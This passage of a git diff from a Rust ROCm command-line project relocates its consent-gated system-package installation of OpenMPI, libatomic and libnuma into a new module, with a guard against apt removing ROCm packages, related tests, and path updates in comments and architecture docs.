`runtime_id` is shared across side-by-side installs of the same - // release, while `runtime_key` is unique per install and - // `config.default_runtime_id` tracks by the shared `runtime_id`, - // independently of `config.active_runtime_key`. A stale - // `default_runtime_id` left over from before a *different* runtime - // was activated must still be cleared once its last remaining - // sibling is uninstalled — even though that sibling is not, and - // never was, the active runtime (`was_active` is pinned to the - // unrelated active runtime and never falls back to the - // default-id-uniqueness check while that active runtime is still - // installed). - let (root, paths) = test_paths("runtime-uninstall-shared-default-id"); - let shared_runtime_id = "therock-release:gfx120X-all"; - let manifest_a = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0-a", - shared_runtime_id, - "7.13.0", - 20, - )?; - let manifest_b = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all-7-13-0-b", - shared_runtime_id, - "7.13.0", - 21, - )?; - let active_manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx1151-7-14-0", - "therock-release:gfx1151", - "7.14.0", - 22, - )?; - // `default_runtime_id` is stale, left over from before - // `active_manifest` was activated; `active_runtime_key` now points - // at a manifest with a completely different `runtime_id`. - let mut config = RocmCliConfig { - default_runtime_id: Some(shared_runtime_id.to_owned()), - active_runtime_key: Some(active_manifest.runtime_key.clone()), - ..RocmCliConfig::default() - }; - config.save(&paths)?; - - // Removing the first sibling leaves the other one behind, so the - // stale default (which still resolves to a real, remaining install) - // must not be cleared. - let plan_b = plan_runtime_uninstall(&paths, &config, &manifest_b.runtime_key)?; - assert!(!plan_b.was_active); - assert!(!plan_b.clears_default_runtime); - let removed_b = uninstall_runtime(&paths, &mut config, &manifest_b.runtime_key)?; - assert!(!removed_b.was_active); - assert!(!removed_b.default_runtime_cleared); - assert_eq!( - config.default_runtime_id.as_deref(), - Some(shared_runtime_id) - ); - - // Removing the last remaining sibling must clear the stale default - // even though this install was never the active one, and - // `active_runtime_key` still points at the unrelated, still-installed - // `active_manifest` throughout. - let plan_a = plan_runtime_uninstall(&paths, &config, &manifest_a.runtime_key)?; - assert!(!plan_a.was_active); - assert!(plan_a.clears_default_runtime); - let removed_a = uninstall_runtime(&paths, &mut config, &manifest_a.runtime_key)?; - assert!(!removed_a.was_active); - assert!(removed_a.default_runtime_cleared); - assert_eq!(config.default_runtime_id, None); - assert_eq!( - config.active_runtime_key.as_deref(), - Some(active_manifest.runtime_key.as_str()) - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[cfg(unix)] - #[test] - fn runtime_adopt_preserves_venv_python_symlink_path() -> Result<()> { - use std::os::unix::fs::symlink; - - let (root, paths) = test_paths("runtime-adopt-python-symlink"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join("bin"); - let system_python = root.join("python3.12"); - let python_executable = scripts_dir.join("python"); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - let amdhip = sdk_bin.join("libamdhip64.so"); - let hipblas = sdk_bin.join("libhipblas.so"); - fs::write(&system_python, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - symlink(&system_python, &python_executable)?; - - let adopted = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable: python_executable.clone(), - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-symlink-python".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!( - adopted.python_executable.as_deref(), - Some(python_executable.as_path().to_string_lossy().as_ref()) - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_rejects_runtime_id_without_family() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-no-family"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - fs::write(&python_executable, "python")?; - - let error = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root), - bin_path: Some(sdk_bin), - ..therock::RocmSdkPythonProbe::default() - }, - ) - .unwrap_err() - .to_string(); - - assert!(error.contains("must include a TheRock family suffix")); - assert!(!runtime_registry_dir(&paths).exists()); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_refuses_to_overwrite_without_replace() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-replace"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - let amdhip = sdk_bin.join(if cfg!(windows) { - "amdhip64_7.dll" - } else { - "libamdhip64.so" - }); - let hipblas = sdk_bin.join(if cfg!(windows) { - "hipblas.dll" - } else { - "libhipblas.so" - }); - fs::write(&python_executable, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - - let probe = therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - ..therock::RocmSdkPythonProbe::default() - }; - let request = AdoptRuntimeRequest { - python_executable: python_executable.clone(), - install_root: external_root.clone(), - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }; - - adopt_runtime_from_probe(&paths, request.clone(), probe.clone())?; - let error = adopt_runtime_from_probe(&paths, request, probe.clone()) - .unwrap_err() - .to_string(); - assert!(error.contains("already exists")); - - adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: true, - }, - probe, - )?; - - let _ = fs::remove_dir_all(root); - Ok(()) - } } diff --git a/apps/rocm/src/system_packages.rs b/apps/rocm/src/system_packages.rs new file mode 100644 index 0000000000..4e3b5b78b6 --- /dev/null +++ b/apps/rocm/src/system_packages.rs @@ -0,0 +1,608 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Host system-package installation for the SDK and engine installs: the +//! distro-aware OpenMPI, libatomic and libnuma plans, the decision whether to run +//! one given the caller's consent, and running its commands (`sudo` apt, dnf or +//! zypper) without a shell. +//! +//! Relocated from `runtime_install_finalize.rs` with no behavior change. +//! +//! A leaf: it uses only `std`, `anyhow` and `rocm_core`. The consent bundle for +//! `rocm install sdk` (`SdkInstallConsents`) stays in `runtime_install_finalize.rs`, +//! which passes the plain `system_packages` bool in. That module re-exports +//! `ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch` and +//! `ensure_libnuma_for_torch` for `install_cmd.rs` and `engines_cmd.rs`, and +//! `driver_install.rs` reads `real_os_release` from here directly. + +use std::process::{Command as ProcessCommand, Stdio}; + +use anyhow::{Context, Result, bail}; + +/// What to do with a distro-aware system-package install plan, given the caller's +/// approval and what this host lets us do without a password. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum SystemPackageInstallAction { + /// Print the commands (and the preflight checks) and continue without them. + /// Nothing privileged is run, so nothing can block on a password prompt. + PrintManualCommands, + /// Run the plan. `run_system_package_install_plan` inherits stdin so an + /// interactive `sudo` password prompt can be answered. + RunPlan { + /// The `approval:` line explaining why this was allowed to run. + approval: &'static str, + /// Whether a failed command is an error rather than a warning. Only an + /// explicit approval escalates: the automatic (root/passwordless) path + /// must never let a missing system package fail an unattended install. + escalate_failure: bool, + }, +} + +/// Decide between the two, given whether the *system-package* consent was granted +/// and whether the host can install without prompting. +/// +/// Split out from the two callers below so the decision is testable without a +/// package manager, and so the "approved but no way to answer a password prompt" +/// case has one place to be reasoned about. +const fn system_package_install_action( + approved: bool, + can_autoinstall: bool, +) -> SystemPackageInstallAction { + if !approved && !can_autoinstall { + return SystemPackageInstallAction::PrintManualCommands; + } + SystemPackageInstallAction::RunPlan { + approval: if approved { + "granted by --yes" + } else { + "auto (root or passwordless sudo available)" + }, + escalate_failure: approved, + } +} + +/// The real host's `/etc/os-release`, falling back to `/usr/lib/os-release` +/// when the former is absent (per `os-release(5)`). +/// +/// Deliberately not routed through `rocm_core::host_path`: every caller builds +/// a package-manager plan (`apt`, `dnf`, `zypper`) that then runs against the +/// real machine, so a simulated host root must not choose its distro. The descriptive distro name `examine` reports comes from +/// `ExamineSummary::gather`'s `distro` field, which does follow a simulated +/// root. +pub(crate) fn real_os_release() -> rocm_core::hardware_root::OsRelease { + rocm_core::hardware_root::read_os_release(rocm_core::hardware_root::identity_path_for_str) +} + +/// Run a command given as an argv vector directly, without going through a shell. +/// +/// Used for [`run_system_package_install_plan`], whose commands are modeled as +/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. +fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { + let (program, args) = argv + .split_first() + .context("install command has no program to run")?; + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; + if !status.success() { + bail!("`{}` exited with {status}", argv.join(" ")); + } + Ok(()) +} + +/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel +/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through +/// the system package manager. +/// +/// The privileged install runs automatically when it can be performed without an +/// interactive prompt (the process is root, or passwordless `sudo` is available), +/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan +/// is printed and the caller continues without it. +/// +/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be +/// installed automatically without explicit approval (warn-and-continue). When +/// the user explicitly approved the install with `--yes` and it still fails, the +/// error is propagated so the caller does not silently proceed past a failure the +/// user asked to perform. +pub(crate) fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { + if cfg!(windows) { + return Ok(()); + } + let status = rocm_core::openmpi::detect_openmpi(); + if status.present { + return Ok(()); + } + + let plan = rocm_core::openmpi::plan_for_os_release_read( + &real_os_release(), + rocm_core::openmpi::build_openmpi_install_plan, + ); + + println!("openmpi setup"); + println!( + " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" + ); + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); + } + println!(" detail: {}", plan.reason); + + if !plan.supported { + eprintln!( + "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" + ); + return Ok(()); + } + + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); + } + + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + let SystemPackageInstallAction::RunPlan { + approval, + escalate_failure, + } = system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" + ); + return Ok(()); + }; + + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if rocm_core::openmpi::detect_openmpi().present { + println!(" status: installed"); + } else { + eprintln!( + "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" + ); + } + Ok(()) + } + Err(error) => { + // An explicit `--yes` is a deliberate request to perform the install; + // surface the failure so the vLLM install does not silently proceed + // past something the user asked for. The auto (unapproved) path keeps + // the warn-and-continue behavior so a missing OpenMPI never blocks an + // otherwise-unattended install. + // + // "Surface" is the exact claim, and it is not the same as failing the + // command: this error propagates out of the engine auto-install, and + // `finish_sdk_install` routes it through + // `engine_auto_install_failure_is_fatal`, which matches only + // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints + // the failure and exits 0. Said here because the downgrade happens + // far away and reads as a non-zero exit from this site alone. + if escalate_failure { + return Err(error.context( + "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", + )); + } + eprintln!("warning: OpenMPI install failed: {error}"); + eprintln!( + "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" + ); + Ok(()) + } + } +} + +/// Static description of a PyTorch runtime library dependency that may need to +/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] +/// so libatomic/libnuma (and any future additions) share one control flow. +struct TorchRuntimeDep { + /// Short label used in the setup header and warnings (e.g. `"libatomic"`). + name: &'static str, + /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). + soname: &'static str, + /// `reason:` line explaining why the dependency is required. + reason: &'static str, + /// Detection probe: returns whether the dependency is already loadable. + present: fn() -> bool, + /// Builds the distro-aware install plan from the parsed os-release fields. + build_plan: rocm_core::openmpi::InstallPlanBuilder, +} + +/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is +/// present. The SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this +/// is invoked both after `rocm install sdk` and during `rocm engines install +/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through +/// the system package manager (automatically when no interactive prompt is +/// needed or when `approved`, otherwise it prints the distro-aware plan). Never +/// blocks or fails the install (warn-and-continue). It is a no-op when +/// libatomic is already present. +pub(crate) fn ensure_libatomic_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libatomic", + soname: "libatomic.so.1", + reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", + present: rocm_core::openmpi::libatomic_present, + build_plan: rocm_core::openmpi::build_libatomic_install_plan, + }, + ); +} + +/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds +/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after +/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's +/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only +/// bundles numa under a renamed soname with rewritten versions that cannot +/// satisfy it, so the upstream numactl runtime must be installed from the system +/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it +/// automatically when no interactive prompt is needed or when `approved`, +/// otherwise it prints the distro-aware plan. Never blocks or fails the install +/// (warn-and-continue). No-op when libnuma is already present. +pub(crate) fn ensure_libnuma_for_torch(approved: bool) { + ensure_torch_runtime_dep( + approved, + &TorchRuntimeDep { + name: "libnuma", + soname: "libnuma.so.1", + reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", + present: rocm_core::openmpi::libnuma_present, + build_plan: rocm_core::openmpi::build_libnuma_install_plan, + }, + ); +} + +/// Whether an E2E scenario has asked to skip the torch runtime dependency +/// checks entirely. These checks run a real system package-manager install +/// (`apt-get` or equivalent) whenever a dependency happens to be missing on +/// the host, which is slow, network-dependent, and mutates host state — none +/// of which a PTY scenario testing an unrelated concern (e.g. the download +/// spinner) should depend on. Only active under `e2e-test-hooks`; production +/// builds always run the real check. +#[cfg(feature = "e2e-test-hooks")] +fn torch_runtime_dep_checks_disabled() -> bool { + std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() +} + +#[cfg(not(feature = "e2e-test-hooks"))] +const fn torch_runtime_dep_checks_disabled() -> bool { + false +} + +/// Shared control flow behind [`ensure_libatomic_for_torch`] and +/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware +/// plan, and (when approved or auto-installable) run it via +/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the +/// caller. No-op on Windows or when the dependency is already present. +fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { + if cfg!(windows) { + return; + } + if torch_runtime_dep_checks_disabled() { + return; + } + if (dep.present)() { + return; + } + + let plan = rocm_core::openmpi::plan_for_os_release_read(&real_os_release(), dep.build_plan); + + println!("{} setup", dep.name); + println!(" reason: {}", dep.reason); + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); + } + println!(" detail: {}", plan.reason); + + if !plan.supported { + // The distro is unknown, or its release file is unreadable (the detail + // above names the line), or the dependency ships with the base + // toolchain; nothing actionable to auto-install. + return; + } + + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); + } + + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma + // only warns, whatever approved the attempt. + let SystemPackageInstallAction::RunPlan { approval, .. } = + system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!( + "warning: {} is required by PyTorch but was not installed automatically", + dep.name + ); + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" + ); + return; + }; + + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if (dep.present)() { + println!(" status: installed"); + } else { + eprintln!( + "warning: {} install commands completed but {} was still not found; verify the package manager output above", + dep.name, dep.soname + ); + } + } + Err(error) => { + eprintln!("warning: {} install failed: {error}", dep.name); + eprintln!( + "warning: continuing; run the commands above manually so PyTorch can load {}", + dep.soname + ); + } + } +} + +/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. +/// +/// `apt-get install -y` assumes yes for *removals* as well as installs, so a +/// dependency solution that evicts the ROCm stack would otherwise be applied +/// unattended (this runs automatically under `rocm install sdk` whenever root or +/// passwordless sudo is available). Simulating first turns that silent breakage +/// into an actionable error naming every package at risk. +/// +/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime +/// packages and have no equivalent assume-yes removal path. A simulation that +/// cannot be run (apt missing, transient failure) is not treated as a refusal — +/// the real command reports the failure with better context. +fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { + let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { + return Ok(()); + }; + let (program, args) = simulate_argv + .split_first() + .context("apt simulation has no program to run")?; + let Ok(output) = ProcessCommand::new(program) + .args(args) + .stdin(Stdio::null()) + .output() + else { + return Ok(()); + }; + if !output.status.success() { + return Ok(()); + } + + let removals = + rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); + let protected: Vec<&String> = removals + .iter() + .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) + .collect(); + if protected.is_empty() { + return Ok(()); + } + + let rendered = |packages: &[&String]| { + packages + .iter() + .map(|package| package.as_str()) + .collect::>() + .join(", ") + }; + let others: Vec<&String> = removals + .iter() + .filter(|package| !rocm_core::openmpi::is_protected_rocm_package(package)) + .collect(); + let other_detail = if others.is_empty() { + String::new() + } else { + format!("\n other packages it would remove: {}", rendered(&others)) + }; + bail!( + "refusing to run `{}`: it would remove ROCm packages and break this installation\n ROCm packages it would remove: {}{}\n action: install the dependency manually after resolving the conflict (for example with a package version that does not evict ROCm), then rerun", + argv.join(" "), + rendered(&protected), + other_detail + ); +} + +fn run_system_package_install_plan( + plan: &rocm_core::openmpi::SystemPackageInstallPlan, +) -> Result<()> { + let root = rocm_core::openmpi::running_as_root(); + for command in &plan.commands { + // `resolved_argv` prepends `sudo` only when the command needs root and we + // are not already root (where `sudo` may be absent); the argv runs + // directly without a shell. + let argv = command.resolved_argv(root); + // Never let an automatic dependency install evict the ROCm stack. + ensure_apt_install_preserves_rocm(&argv)?; + // Inherit stdin so an interactive `sudo` password prompt (the case the + // `--yes` approval exists for) can be answered. When already root or + // passwordless sudo is configured, sudo does not prompt and the inherited + // stdin is simply unused. + run_argv_with_stdin(&argv, Stdio::inherit()) + .with_context(|| format!("system package install command failed: {command}"))?; + } + Ok(()) +} + +#[cfg(test)] +mod tests { + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + use std::fs; + + use super::*; + use crate::chat::rocm_chat_tool_requested_args; + use crate::providers; + use crate::runtime_install_finalize::tests::consents_for_install_sdk_argv; + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + use crate::tests::ScopedTestEnv; + use crate::therock; + + #[test] + fn an_injected_consent_does_not_approve_privileged_package_installs() { + // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI + // absent, and neither root nor passwordless sudo. The chat, MCP and + // daemon surfaces spawn `rocm` with null stdin, so there is no terminal + // on which a `sudo` password prompt could ever be answered. Injecting + // `--yes` to clear the runtime-replacement prompt used to grant the + // second, unrelated consent that flag carries, which made + // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then + // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` + // before the vLLM engine install that previously warned and continued. + let call = providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), + }; + let injected = consents_for_install_sdk_argv( + &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), + ); + assert_eq!( + injected.replace_active_default, + therock::SdkInstallConsent::Preapproved( + therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault + ) + ); + assert!( + !injected.system_packages, + "an injected consent must not approve a privileged package install" + ); + assert_eq!( + system_package_install_action(injected.system_packages, false), + SystemPackageInstallAction::PrintManualCommands, + "on a host without passwordless sudo the spawn must print the commands, not run sudo" + ); + + // And the other half of the property: a `--yes` the user actually typed + // still approves both, and a failure of the install it asked for is + // still an error rather than a warning. + let typed = consents_for_install_sdk_argv(&[ + "install".to_owned(), + "sdk".to_owned(), + "--yes".to_owned(), + ]); + assert_eq!( + typed.replace_active_default, + therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), + "a --yes the user typed must still be credited to --yes" + ); + assert!(typed.system_packages); + assert_eq!( + system_package_install_action(typed.system_packages, false), + SystemPackageInstallAction::RunPlan { + approval: "granted by --yes", + escalate_failure: true, + }, + ); + + // Root or passwordless sudo installs without any approval, as before — + // the consent split must not have made the automatic path conditional. + assert_eq!( + system_package_install_action(injected.system_packages, true), + SystemPackageInstallAction::RunPlan { + approval: "auto (root or passwordless sudo available)", + escalate_failure: false, + }, + ); + } + + /// The real candidate path/text `real_os_release_ignores_a_simulated_host_root` + /// expects, read independently rather than by calling + /// `hardware_root::read_os_release` a second time. `Absent` and + /// `Unreadable` are not interchangeable: a non-`NotFound` error must + /// always report `Unreadable`, never silently fall through to `Absent`. + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + enum ExpectedOsRelease { + Found(&'static str, String), + Absent, + Unreadable(&'static str), + } + + /// The package-manager plans run against the real machine, so a simulated + /// host root must not change the distro they are built for: under a root + /// whose `/etc/os-release` names a different distro, `real_os_release` + /// still returns the real file. + #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] + #[test] + fn real_os_release_ignores_a_simulated_host_root() { + let root = std::env::temp_dir().join(format!( + "rocm-os-release-host-root-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_or(0, |d| d.as_nanos()) + )); + fs::create_dir_all(root.join("etc")).expect("create planted /etc"); + fs::write( + root.join("etc/os-release"), + "ID=planted-distro\nVERSION_ID=\"99.9\"\n", + ) + .expect("write planted os-release"); + + let read = { + let mut env = ScopedTestEnv::new(); + env.set( + rocm_core::hardware_root::TEST_HOST_ROOT_ENV, + &root.to_string_lossy(), + ); + real_os_release() + }; + fs::remove_dir_all(&root).ok(); + + assert!( + !read.text().contains("planted-distro"), + "read the simulated root's os-release: {:?}", + read.text() + ); + // Independent of `hardware_root::read_os_release`: rather than call + // the exact same helper with the same identity resolver `real_os_release` + // wraps one line away (which would pass even if its `.context(...)` + // call or resolver closure broke), read both candidate paths directly + // and apply the same existence-only fallback rule inline. This mirrors + // which variant is correct for each case, rather than accepting + // `Absent` or `Unreadable` interchangeably — see `ExpectedOsRelease`'s + // own doc comment for why that distinction matters. + let expected = match fs::read_to_string("/etc/os-release") { + Ok(text) => ExpectedOsRelease::Found("/etc/os-release", text), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => { + match fs::read_to_string("/usr/lib/os-release") { + Ok(text) => ExpectedOsRelease::Found("/usr/lib/os-release", text), + Err(e2) if e2.kind() == std::io::ErrorKind::NotFound => { + ExpectedOsRelease::Absent + } + Err(_) => ExpectedOsRelease::Unreadable("/usr/lib/os-release"), + } + } + Err(_) => ExpectedOsRelease::Unreadable("/etc/os-release"), + }; + match expected { + ExpectedOsRelease::Found(path, text) => { + assert_eq!((read.path(), read.text()), (path, text.as_str())); + } + ExpectedOsRelease::Absent => assert!( + matches!(&read, rocm_core::hardware_root::OsRelease::Absent), + "expected Absent, got {read:?}" + ), + ExpectedOsRelease::Unreadable(path) => assert!( + matches!( + &read, + rocm_core::hardware_root::OsRelease::Unreadable { path: p, .. } if *p == path + ), + "expected Unreadable at {path}, got {read:?}" + ), + } + } +} diff --git a/crates/rocm-core/src/diagnose.rs b/crates/rocm-core/src/diagnose.rs index 667e09f6b5..79c2a4d974 100644 --- a/crates/rocm-core/src/diagnose.rs +++ b/crates/rocm-core/src/diagnose.rs @@ -1573,7 +1573,7 @@ fn is_repo_native_installed(method: &str) -> bool { /// Whether `rocm install driver --dkms` plans any commands for this host. /// /// Mirrors the full `(os_id, version_id)` / `ID_LIKE`-derivative -/// matrix in `apps/rocm/src/driver_install.rs::build_driver_install_plan_at` +/// matrix in `apps/rocm/src/driver_plan.rs::build_driver_install_plan_at` /// (`rocm-core` can't call that plan builder directly: `apps/rocm` depends /// on `rocm-core`, not the reverse). pub fn dkms_driver_plan_is_supported(e: &Examination) -> bool { @@ -8510,7 +8510,7 @@ mod tests { // (distro_id, distro_version, distro_id_like, supported). Kept in step // with `build_driver_install_plan_at` by // `driver_plan_support_matches_rocm_core_diagnose` in - // `apps/rocm/src/driver_install.rs`. + // `apps/rocm/src/driver_plan.rs`. let table = [ ("ubuntu", "22.04", "debian", true), ("ubuntu", "24.04", "debian", true), diff --git a/crates/rocm-core/src/openmpi.rs b/crates/rocm-core/src/openmpi.rs index 5c7792ef93..6498e536b1 100644 --- a/crates/rocm-core/src/openmpi.rs +++ b/crates/rocm-core/src/openmpi.rs @@ -1433,7 +1433,7 @@ mod tests { } /// `install_hint_for_read`/`plan_for_os_release_read` are the one seam - /// `openmpi::real_os_release()` and `runtime_install_finalize::real_os_release()` + /// `openmpi::real_os_release()` and `system_packages::real_os_release()` /// hand their result to — both now one-line delegations to /// `hardware_root::read_os_release`, so reverting either back to a raw /// `/etc/os-release` read is a type error here, not a silent regression. diff --git a/docs/architecture.md b/docs/architecture.md index 43c175ce93..9015b9d89c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -32,7 +32,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`automations.rs`](../apps/rocm/src/automations.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-210): the `rocm automations` dispatch handler (`automations()`) plus the `rocm automations` status report it prints (`render_automations_text`), the `ProposalKind` classification that report renders through (`proposal_kind`, `fallback_tool_for_automation_action`, `proposal_plain_summary`, `proposal_plain_reason`), the small plain-language label helpers (`proposal_status_label`, `proposal_bool_argument`, `automation_event_plain_summary`, `audit_event_plain_summary`, `watcher_mode_plain_label`, `watcher_last_check`, `watcher_plain_name`, `watcher_plain_trigger`, `watcher_plain_action`, `watcher_policy_note`), and the unrelated `rocm daemon --status` summary (`render_daemon_text`). `render_automations_text` and `render_daemon_text` are `pub(crate)`: [`main.rs`](../apps/rocm/src/main.rs)'s `dispatch()` calls `render_daemon_text` directly (re-imported alongside `automations` via `use crate::automations::{automations, render_daemon_text};`; `render_automations_text` has no `dispatch()` call site of its own, reached only through `automations()` above, now local to this file), and [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool summaries call both. Every other item in this list, including `watcher_policy_note` (called from `automations()`'s `Enable` arm and from `render_automations_text`, both in this same file), has no caller outside this module and stays private. The cluster's regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` the same way other mechanically relocated modules do. - [`bootstrap.rs`](../apps/rocm/src/bootstrap.rs) — a further-extracted variant of full domain extraction: it owns its clap command enum (`BootstrapCommand`) and dispatch function too, rather than leaving them in [`main.rs`](../apps/rocm/src/main.rs). - [`bridge_snapshot.rs`](../apps/rocm/src/bridge_snapshot.rs) — mechanical relocation, no owned types: 